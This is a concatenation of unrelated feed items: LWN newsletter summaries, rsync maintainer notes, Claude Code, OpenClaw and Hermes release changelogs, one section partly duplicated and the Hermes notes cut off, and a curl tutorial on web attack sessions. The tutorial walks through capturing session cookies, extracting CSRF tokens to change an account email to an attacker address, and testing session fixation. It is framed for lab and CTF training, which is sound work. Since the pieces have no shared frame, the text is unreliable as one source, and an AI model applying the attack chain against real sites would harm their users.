LinkedIn: https://www.linkedin.com/in/andrey-pautov/

Andrey Pautov

The Intelligent Shield. OpenCTI was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

• Front: Suspicious AI activity in Fedora; fork() + exec(); splice() + vmsplice(); BPF loop verification; fanotify; trusted publishing.
• Briefs: CA age bill; Bundler cooldowns; insecure code completion; Asahi and macOS 27 beta; Buildroot 2026.05; Ubuntu MATE; rsync 3.4.4; Quotes; ...
• Announcements: Newsletters, conferences, security updates, patches, and more.

As part of the 3.5.0 release update I have created a rsync-security@lists.samba.org mailing list for anyone who is willing to do testing of the 3.5.0 release. The idea is to try to reduce the chance of more regressions by expanding the set of testers of this release. I have seeded it with people who were involved in past rsync security issues. If you want to join this list then the easiest way would be for you to be vouched for by someone on the distros@vs.openwall.org list or someone else I already trust.

My apologies for the regressions in the 3.4.3 release and I hope future security updates for rsync will have less issues. The greatly expanded test suite in rsync 3.5 combined with the rsync-security mailing list should help.

• Added requiredMinimumVersion and requiredMaximumVersion managed settings — Claude Code refuses to start if its version is outside the allowed range and directs the user to an approved version
• Added /plugin list command to list installed plugins, with --enabled/--disabled filters
• Added a "c to copy" shortcut to /btw that copies the raw markdown answer to the clipboard, preserving formatting when pasted elsewhere
• Hooks: Stop and SubagentStop hooks can now return hookSpecificOutput.additionalContext to give Claude feedback and keep the turn going without being labeled a hook error
• Skills: added \$ escape syntax to include a literal $ before a digit in command bodies
• stdio MCP servers now receive the same CLAUDE_CODE_SESSION_ID as hooks/Bash on --resume
• Fixed claude -p hanging forever after its final result when a backgrounded command never exits — background shells are now stopped ~5s after the result once stdin closes
• Fixed claude -p failing with "ANTHROPIC_API_KEY required" on Bedrock/Vertex/Foundry when CI=true and no Anthropic API key is set
• Fixed bash commands failing under bazel and EDR-protected Go workflows: $TMPDIR was overridden to /tmp/claude-{uid} for all commands instead of only sandboxed ones (regression in 2.1.154)
• Fixed Bash commands failing on Windows with "EEXIST: file already exists" on the session-env directory when it has the read-only attribute or is inside OneDrive
• Fixed org-managed permission rules not applying for the entire session when the managed settings fetch completed during startup on a fresh config directory
• Fixed background sessions in claude agents losing their running background tasks when reattached after a Claude Code update
• Fixed terminal misalignment and a multi-second hang when exiting the agent view by pressing Esc
• Fixed clicking Stop on a background-task chip in the desktop app not clearing the chip when the underlying process was already gone
• Fixed keyboard input becoming permanently unresponsive after a paste operation whose end marker is dropped by the terminal
• Fixed hook if: "Bash(...)" conditions firing on every Bash command containing $() or $VAR; the pattern now matches against commands inside subshells and backticks too
• Fixed deny rules on home-directory paths (e.g. Read(~/Desktop/**)) not blocking Bash commands that reference the path via $HOME
• Fixed a stray "(no content)" line left in the transcript after closing panel dialogs like /mcp and /plugins
• Background agent sessions now update to a new Claude Code version in the background, so opening a session after an update no longer waits on a cold restart
• Clearer descriptions for built-in commands and skills in the / menu
• The subscription-switch suggestion now shows in the startup announcement slot instead of a toast
• claude agents dispatching from the state-grouped view now starts the session in the directory the agent view was opened from

• Front: MeshCore; x32 ABI; Open-source security; Package-manager metadata; More LSFMM+BPF coverage; Loadable crypto module.
• Briefs: Lightwell; jqwik protestware; RedHat package compromise; DistroWatch; Fedora election; Rust 1.96.0; rsync; Vim Classic 8.3; Quotes; ...
• Announcements: Newsletters, conferences, security updates, patches, and more.

Like many developers of open source packages I've been hit by a flood of security reports lately in my role as the rsync maintainer. Many of those reports are AI generated (not all though, there are some notable ones with very careful and high quality manual analysis).

As this flood started to get more intense I realised I needed to raise the defences on rsync a lot — we needed much more thorough test suites, code coverage analysis, CI testing on a lot more platforms, deliberate and thorough scanning for possible security issues (so I find at least some of them before other people!) and the addition of a whole lot of defence-in-depth hardening techniques.

[...] Now to the future, because we're not done yet by a long shot. The security reports keep rolling in. I'm working on a bunch of CVEs right now. Luckily I've been joined by some other very good developers with great systems development skills and security knowledge. Some of these people came to my attention partly because of all the rage happening at the moment, so I get some rage storm clouds have silver linings. Watch out for some credits for some great new rsync developers in the next release.

Series: curl — The Request Engine You Never Learned Properly Article: 6B of 16

Article 6A got you authenticated. This article keeps you authenticated.

A single authenticated request proves the credentials work. A multi-step attack workflow — login, enumerate, attack, extract — requires that authentication persist across every request. With a browser, this happens automatically. With curl, you manage it yourself.

This article covers cookie jars, session persistence, CSRF token handling, and OAuth2 flows. These are the stateful plumbing skills that every THM/HTB machine with a login page will require from you.

How Sessions Work Over HTTP

HTTP is stateless. Each request is independent — the server has no memory of previous requests by default.

Applications solve this with sessions: after a successful login, the server creates a session record and sends the client a session identifier in a Set-Cookie header. The client sends this identifier back with every subsequent request in the Cookie header. The server looks up the identifier and retrieves the session data.

Without a session cookie, every request you make after login is treated as a fresh, unauthenticated request.

With curl, you are responsible for capturing the session cookie from the login response and sending it with every subsequent request. The cookie jar system automates this.

Cookie Jar Mechanics

Two flags. Get the order right — beginners constantly reverse them.

-c — Save cookies to a file (capture)

curl -c cookies.txt http://target.com/login

-c appends any cookies from the server's Set-Cookie response headers into the file. This is the collection step.

-b — Send cookies from a file (use)

curl -b cookies.txt http://target.com/dashboard

-b reads cookies from the file and sends them in the Cookie header of the outgoing request. This is the authentication step.

The memory rule: -c = collect. -b = bring.

Both together — the login and persist pattern:

# Login: collect the session cookie
curl -s \
  -c cookies.txt \
  -d "username=admin&password=password" \
  http://127.0.0.1:8080/login

# Use the session on the next request
curl -s \
  -b cookies.txt \
  http://127.0.0.1:8080/dashboard

Login successful. Welcome, admin.

[Dashboard] Authenticated as: admin
Session active. You have access to protected resources.

The first request hit the login endpoint, credentials matched, and the server issued a Set-Cookie header — -c wrote it to cookies.txt. The second request read that file with -b and sent the session token in the Cookie header. The server recognized it and returned authenticated content.

Inspect what is in your cookie jar:

cat cookies.txt

# Netscape HTTP Cookie File
# https://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
127.0.0.1	FALSE	/	FALSE	0	session	d52f6273029c4c769beeda5dfd618d34

The cookie jar is plain text in the Netscape cookie format. Each data line is tab-separated with seven fields: domain, include-subdomains flag, path, secure flag, expiry timestamp, cookie name, and cookie value.

In this line: 127.0.0.1 is the domain. FALSE in the second field means the cookie does not apply to subdomains. FALSE in the fourth field means the Secure flag is not set. 0 In the fifth field means no expiry — a session cookie that lives until the server invalidates it or you delete the jar. session is the cookie name. The hex string is the token value the server will validate on every subsequent request.

Reading the jar tells you what session identifiers you have captured. Whether they are still valid, you find out only by using them — the jar itself does not track server-side session state.

Session Persistence Across Multiple Requests

A real attack workflow is not two requests — it is many. You need the session to persist across the entire chain.

Use the same cookie jar file for every request in the workflow:

# 1. Login
curl -s -c jar.txt -d "username=admin&password=pass" http://target.com/login

# 2. Enumerate users (authenticated endpoint)
curl -s -b jar.txt http://target.com/api/users

# 3. Access target resource
curl -s -b jar.txt http://target.com/api/users/5/profile

# 4. Perform action
curl -s -b jar.txt \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com"}' \
  http://target.com/api/users/5/email

The same jar.txt file threads authentication through every step. One login, many requests.

If the session expires or the cookie is rejected, you will often see a redirect to the login page or a 401. When that happens:

1. Delete the cookie jar: rm jar.txt
2. Re-run the login request
3. Continue from where the chain broke

Combining -c and -b for automatic cookie refresh:

curl -c jar.txt -b jar.txt http://127.0.0.1:8080/endpoint

==================================================
  curl Lab Echo Server
==================================================
METHOD       : GET
PATH         : /endpoint
FULL URL     : /endpoint
--- REQUEST HEADERS ---
  Host: 127.0.0.1:8080
  User-Agent: curl/7.68.0
  Accept: */*
--- QUERY STRING PARAMS ---
  (none)
--- RAW BODY ---
  (empty)
--- PARSED BODY PARAMS ---
  (none)
==================================================

Using both flags simultaneously tells curl to send existing cookies from the jar and write any new cookies the server sends back. This handles session renewal — if the server rotates the session cookie mid-workflow, the jar is updated automatically. When the jar starts empty (as above), no Cookie header appears in the outgoing request. Once a login populates it, every subsequent combined-flag request both sends and refreshes.

Set-Cookie Attributes and What They Mean for Your Testing

When you inspect responses in verbose mode, you will see cookie attributes alongside the values. These affect both security posture and your testing approach.

curl -v http://target.com/login -d "username=admin&password=pass" 2>&1 | grep "Set-Cookie"

< Set-Cookie: session=d52f6273029c4c769beeda5dfd618d34; Path=/

HttpOnly — The cookie cannot be accessed by JavaScript. This is a defense against XSS-based cookie theft. For your curl testing, it makes no difference — curl sends HTTP requests, not JavaScript. But if you find a stored XSS and the session cookie is HttpOnly, cookie theft via XSS is blocked.

Secure — The cookie is only transmitted over HTTPS connections. If a cookie carries the Secure flag and you are testing over plain HTTP, it will not be sent — a common source of confusion in lab environments. One exception: curl treats http://localhost and http://127.0.0.1 as secure contexts and may still send Secure-flagged cookies there. Do not rely on that behavior when concluding production targets.

SameSite — Controls when the cookie is sent on cross-origin requests. Strict means the cookie is only sent on same-origin requests. Lax allows some cross-origin requests (top-level navigation). None means the cookie is always sent — required for cross-origin use, but note that SameSite=None requires the Secure flag in modern browsers, and it enables CSRF if additional protections are absent.

A cookie without an SameSite attribute is treated as SameSite=Lax In modern browsers, the behavior that shifted in 2020 varies by browser version. Note this when cataloging cookies during recon.

CSRF Token Extraction and Reuse

Many web applications protect state-changing endpoints with CSRF tokens — session-tied values embedded in forms. When you submit a form, the server checks that the CSRF token in the request matches the one it issued. This prevents cross-site request forgery.

For curl-based testing, CSRF tokens are an obstacle: you cannot POST to a protected form endpoint without first fetching the valid token from the form page.

The workflow — use a single jar file throughout:

# Step 1: Authenticate and fetch the form page, extracting the CSRF token
CSRF=$(curl -s -c jar.txt -b jar.txt http://127.0.0.1:8080/settings | \
  grep -oP '(?<=name="csrf_token" value=")[^"]*')

echo "CSRF token: $CSRF"

CSRF token: csrf_abc123xyz789_lab

grep -oP uses Perl-compatible regex with a lookbehind to extract the token value. Note that -P (PCRE) requires GNU grep — it is standard on most Linux systems, but may not be available on BSD or macOS without installing grep separately. If grep -oP fails, grep -o 'value="[^"]*"' is a portable fallback that gets you close.

The pattern above assumes the form field looks like:

<input type="hidden" name="csrf_token" value="abc123xyz">

Adjust the field name to match your target. Common names: csrf_token, _token, csrfmiddlewaretoken, authenticity_token. When in doubt, use grep -i csrf on the form HTML to find them.

Step 2: Use the token in your request:

curl -s \
  -b jar.txt \
  -d "email=attacker@evil.com&csrf_token=$CSRF" \
  http://127.0.0.1:8080/change-email

Email updated successfully.
User: admin
New email: attacker@evil.com

The key insight: the CSRF token must come from the same session. The combined -c jar.txt -b jar.txt In step 1, both send the existing session cookie and capture any renewed cookie the server issues. Step 2 sends that same session back with the extracted token. The server validates that the CSRF token belongs to that session — a token from a different session will be rejected.

Compact one-liner — for reference, not the recommended workflow:

curl -s -c jar.txt \
  -d "email=attacker@evil.com&csrf_token=$(curl -s -c jar.txt -b jar.txt http://target.com/form | grep -oP '(?<=csrf_token" value=")[^"]*')" \
  -b jar.txt \
  http://target.com/change-email

This is the inline extraction pattern you will see in one-liner exploit scripts. It works, but it is brittle — a form field name change or encoding difference breaks the inner command silently and sends an empty token. Use the two-step version in any workflow you need to debug.

Session Fixation Testing

Session fixation is a vulnerability where an attacker forces a known session ID onto a victim before authentication, and the server preserves that same ID after login. Because the attacker already knows the ID, they can use it to access the now-authenticated session.

Test it with curl:

curl -v \
  -b "PHPSESSID=attackercontrolledvalue" \
  http://10.48.179.222/cookie.php \
  -d "username=admin&password=admin" 2>&1 | grep -E "Set-Cookie|HTTP/"

* using HTTP/1.x
> POST /cookie.php HTTP/1.1
< HTTP/1.1 200 OK

No Set-Cookie in the response. This particular target does not use PHP sessions — it uses a different session mechanism — so this result is not conclusive for fixation either way.

On a PHP application, the response tells you more. If you see:

< Set-Cookie: PHPSESSID=newrandomvalue; Path=/

The server regenerated the session on login — the crafted value was discarded. No fixation vulnerability.

If you see:

< Set-Cookie: PHPSESSID=attackercontrolledvalue; Path=/

The server kept your value and attached it to the authenticated session. That is session fixation. The real confirmation step is to make an authenticated request using your crafted value and verify it succeeds — a new cookie in the login response is a signal, not the finding itself.

OAuth2 Bearer Token Flow (Surface Level)

OAuth2 is a delegation framework with several grant types. The one you encounter most often in lab environments is the Resource Owner Password Credentials grant — the client sends credentials directly and receives a token. Note that this grant type is discouraged in modern OAuth2 deployments in favor of the Authorization Code flow, but it appears regularly in older APIs and internal tooling.

# Step 1: Request an access token
RESPONSE=$(curl -s \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=admin&password=password&client_id=myapp" \
  http://127.0.0.1:8080/oauth/token)

echo $RESPONSE | python3 -m json.tool
ACCESS_TOKEN=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Token: $ACCESS_TOKEN"

{
    "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.lab_token_demo",
    "token_type": "Bearer",
    "expires_in": 3600,
    "scope": "read write"
}
Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.lab_token_demo

The token response gives you the token itself, its type, expiry in seconds, and the scopes it covers. Pipe through python3 -m json.tool to read it cleanly — raw token responses are a single line of JSON.

Step 2: Use the access token:

curl -s \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  http://target.com/api/protected-resource

Bearer tokens travel in the Authorization header — no cookie jar needed. Treat them like passwords: anyone holding the token can make authenticated requests as that user until it expires. Store them in a shell variable, not in a file on a shared system.

If a request returns 401 after previously working, the token has expired — the expires_in field in the token response tells you how long it is valid. Request a new one using the same credentials.

For testing purposes: check whether the token endpoint has rate limiting, whether expired tokens are actually rejected (some applications skip expiry validation), and whether the scope field is enforced server-side or just decorative.

The Full Stateful Attack Chain

Pulling it together on a real target. Login, confirm, extract CSRF token, act. This is the skeleton of every multi-step web attack workflow — the specific endpoints change, the pattern does not.

# 1. Login and capture session
curl -s -c jar.txt \
  -d "username=admin&password=admin" \
  http://10.48.179.222/cookie.php

Login successful. Cookie set.

# 2. Confirm authentication
curl -s -b jar.txt http://10.48.179.222/cookie.php | grep -i "welcome"

Welcome back, admin!

# 3. Fetch CSRF token from settings form
CSRF=$(curl -s -b jar.txt http://127.0.0.1:8080/settings | \
  grep -oP '(?<=name="csrf_token" value=")[^"]*')

# 4. Submit action with CSRF token
curl -s -b jar.txt \
  -d "csrf_token=$CSRF&email=attacker@evil.com" \
  http://127.0.0.1:8080/change-email

Email updated successfully.
User: admin
New email: attacker@evil.com

The same jar.txt threads through every step. One login, four commands, end-to-end authenticated action.

The two articles on authentication together give you the complete workflow: identify the scheme, authenticate, capture the session, maintain it across requests, and handle CSRF tokens that protect state-changing endpoints. Every login-gated machine on THM/HTB uses some combination of these patterns.

Next: Article 7 — Header Manipulation: Bypasses, Probing, and the Security Audit Nobody Does

Auth Mastery Part 2: Sessions, Cookies, and Staying Authenticated was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Highlights

• Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375)
• Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, WhatsApp profile auth roots, Telegram polling, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334, #82492, #83304, #87160)
• Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682)
• Browser, channel, and automation inputs are stricter: Browser tool timeouts, viewport/tab indices, Gateway ports, cron retry handling, Discord component ids, schema array refs, Telegram callback pages, and channel progress callbacks now reject malformed values earlier and preserve the intended delivery context. (#82887)
• Provider, media, and document coverage expands with Claude Opus 4.8, Fal Krea image schemas, NVIDIA featured models, MiniMax streaming music responses, encrypted PDF extraction, voice model catalogs, GitHub Copilot agent runtime support, and a Codex Supervisor plugin path for delegated Codex workflows. (#87845, #87890, #80775, #84764, #87751, #87794)
• CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, workspace dotenv provider credentials are ignored, OAuth and local service startup requests are bounded, legacy api_key auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361, #83655, #87559)
• Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (#86699)
• Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.

Changes

• Status: show active subagent details in status output.
• Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (#87370, #87372) Thanks @RomneyDa.
• ClawHub: add plugin display names plus skill verification and trust surfaces. (#87354, #86699) Thanks @thewilloftheshadow and @Patrick-Erichsen.
• iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367) Thanks @Solvely-Colin.
• Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, CLI setup flow compatibility, and backport targets. (#87313, #63050, #87685) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.
• PDF/tools: use ClawPDF for PDF extraction, support encrypted PDF extraction, and surface MCP structured content in agent tool results. (#87670, #87751)
• Providers: add Claude Opus 4.8 support, Fal Krea image model schemas, NVIDIA featured model catalogs, MiniMax streaming music responses, and provider-backed voice model catalogs. (#87845, #87890, #80775, #84764, #87794) Thanks @eleqtrizit and @vincentkoc.
• Codex/GitHub: add the GitHub Copilot agent runtime and the Codex Supervisor plugin package.
• Discord: show commentary in progress drafts so live Discord runs expose useful in-progress context. (#85200)
• Plugin SDK: add a reply payload sending hook for plugins that need to deliver channel-owned replies and flatten package types for SDK declarations. (#82823, #87165) Thanks @RomneyDa.
• Policy: add policy comparison, ingress-channel conformance, and sandbox-posture conformance checks. (#85572, #85744, #86768)

Fixes

• Agents: fall back to local config pruning when the optional agents delete Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.
• Tighten phone-control mutation authorization [AI]. (#87150) Thanks @pgondhi987.
• Clarify directive persistence authorization policy [AI]. (#86369) Thanks @pgondhi987.
• Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort and runtime teardown, avoid session event queue self-wait, clean up exec abort listeners, stream assistant deltas incrementally, recover raw missing-thread compaction failures, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts and prune stale bridge files, keep Claude live tool progress visible for watchdog recovery, suppress abandoned requester completion handoff, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format skills command output, and bound compaction/steering retries. (#87218, #86875, #86123, #87399, #87375, #72574, #87383, #87400, #83022, #87671, #87738, #87747, #87706, #87546, #87541) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, @sjf, and @joshavant.
• Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config and polling keepalives, preserve WhatsApp profile auth roots, QR display, document filenames, and plugin hook config, suppress Discord recovered tool warnings, preserve the Discord voice outbound helper, and block untrusted Teams service URLs while keeping TeamsSDK patterns aligned. (#73706, #75670, #87366, #87451, #87465, #87334, #76262, #83304, #82492, #87581, #77114, #86426, #85529, #87160) Thanks @zeroaltitude, @lukeboyett, @xiaotian, @eleqtrizit, @heyitsaamir, @amittell, @liorb-mountapps, @masatohoshino, @bladin, and @giodl73-repo.
• CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, ignore workspace dotenv provider credentials, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, harden Codex auth probes, warm provider auth off the main thread, honor Codex response timeouts, stop migrating current Claude Haiku 4.5 profiles to Sonnet, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical api_key auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361, #83655, #87559, #87719) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, @alkor2000, @mmaps, and @nxmxbbd.
• Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks and stale rate-limit cooldown probes, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, clear completed session active runs, and evict current plugin-state namespaces at row caps. (#87810, #87833) Thanks @joshavant.
• Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 no_proxy entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, sandbox stat fields, unsafe duration values, empty config path segments, noncanonical schema array refs, unsafe Telegram callback pages, and invalid Teams attachment-fetch DNS targets.
• Browser/input hardening: reject invalid tab indexes, excessive viewport resizes, explicit zero CDP ports, malformed geolocation options, unsafe screenshot or permission-grant timeouts, loose response-body limits, invalid cookie expiries, and non-finite Browser tool delays/timeouts.
• Cron/automation: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot, and preflight model fallbacks before skipping scheduled work. (#82887)
• Auto-reply/directives: respect provider and relayed channel metadata during directive persistence so channel-originated decisions keep their intended context. (#87683)
• WhatsApp: resolve the auth directory from the active profile so profile-scoped WhatsApp installs do not drift to the wrong credential root. (#82492)
• Gateway/session state: clear completed session active runs, avoid cold-loading providers for MCP inventory, cache single-session child indexes, cap handshake timers, and bound preauth, auth-guard, media, transcript, readiness, and port options.
• Channels/replies: preserve channel-owned progress callbacks when verbose output is off, keep group-room progress suppression intact, prefer external session delivery context, escape Discord component id delimiters, force final TUI chat repaints, show Slack reasoning previews, and normalize Discord/Matrix/Mattermost channel numeric options. (#87476, #87423)
• Agents/tool args: harden smart-quoted argument repair for edit arrays and exact escaped arguments so model-produced tool calls recover without corrupting valid input. (#86611)
• Providers/agents: preserve seeded Anthropic signatures, preserve signed thinking payloads, concatenate signature-delta chunks, preserve DeepSeek reasoning_content replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, load NVIDIA featured model catalogs, stream MiniMax music generation responses, and recover empty preflight compaction. (#87593, #87493, #80775, #84764) Thanks @eleqtrizit.
• Media/images: skip CLI image cache refs when resolving generated images and bound generated video downloads so stale refs and slow providers fail cleanly. (#87523)
• File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.
• Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, avoid full session snapshots for entry reads, defer configured Slack full startup, prefer bundled plugin dist entries, and slim current metadata identity caches. (#87760)
• Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, isolate npm plugin installs per package, reject incompatible package plugin API installs, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current. (#87647, #87477) Thanks @rohitjavvadi.
• Release/CI: bound manual git fetches, ClawHub verifier responses, ClawHub owner metadata, Parallels limits, startup/test/memory budget parsing, and diffs viewer build warnings so release lanes fail with useful proof instead of hanging. (#87839)

Highlights

• Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375)
• Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334)
• Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682)
• CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, OAuth and local service startup requests are bounded, legacy api_key auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361)
• Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (#86699)
• Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.

Changes

• Status: show active subagent details in status output.
• Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (#87370, #87372) Thanks @RomneyDa.
• ClawHub: add plugin display names plus skill verification and trust surfaces. (#87354, #86699) Thanks @thewilloftheshadow and @Patrick-Erichsen.
• iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367) Thanks @Solvely-Colin.
• Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, and backport targets. (#87313, #63050) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.
• PDF/tools: use ClawPDF for PDF extraction and surface MCP structured content in agent tool results. (#87670)

Fixes

• Agents: fall back to local config pruning when the optional agents delete Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.
• Tighten phone-control mutation authorization [AI]. (#87150) Thanks @pgondhi987.
• Clarify directive persistence authorization policy [AI]. (#86369) Thanks @pgondhi987.
• Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort, avoid session event queue self-wait, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format skills command output, and bound compaction/steering retries. (#87218, #86875, #86123, #87399, #87375, #87383, #87400) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, and @sjf.
• Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config, suppress Discord recovered tool warnings, and block untrusted Teams service URLs. (#73706, #75670, #87366, #87451, #87334) Thanks @zeroaltitude, @lukeboyett, @xiaotian, and @eleqtrizit.
• CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, warm provider auth off the main thread, honor Codex response timeouts, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical api_key auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, and @alkor2000.
• Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, and evict current plugin-state namespaces at row caps.
• Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 no_proxy entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, and sandbox stat fields.
• Providers/agents: preserve seeded Anthropic signatures, concatenate signature-delta chunks, preserve DeepSeek reasoning_content replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, and recover empty preflight compaction. (#87593)
• File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.
• Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, and slim current metadata identity caches.
• Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current.

Release Date: May 28, 2026
Since v0.14.0: 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)

The Velocity Release. Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line run_agent.py collapses to 3,821 (-76%) across 14 cohesive agent/* modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, hermes --version flipping the head-to-head benchmark against Codex CLI. session_search is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth hermes proxy upstream, retired-May-15 model detection + hermes migrate xai, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.

✨ Highlights

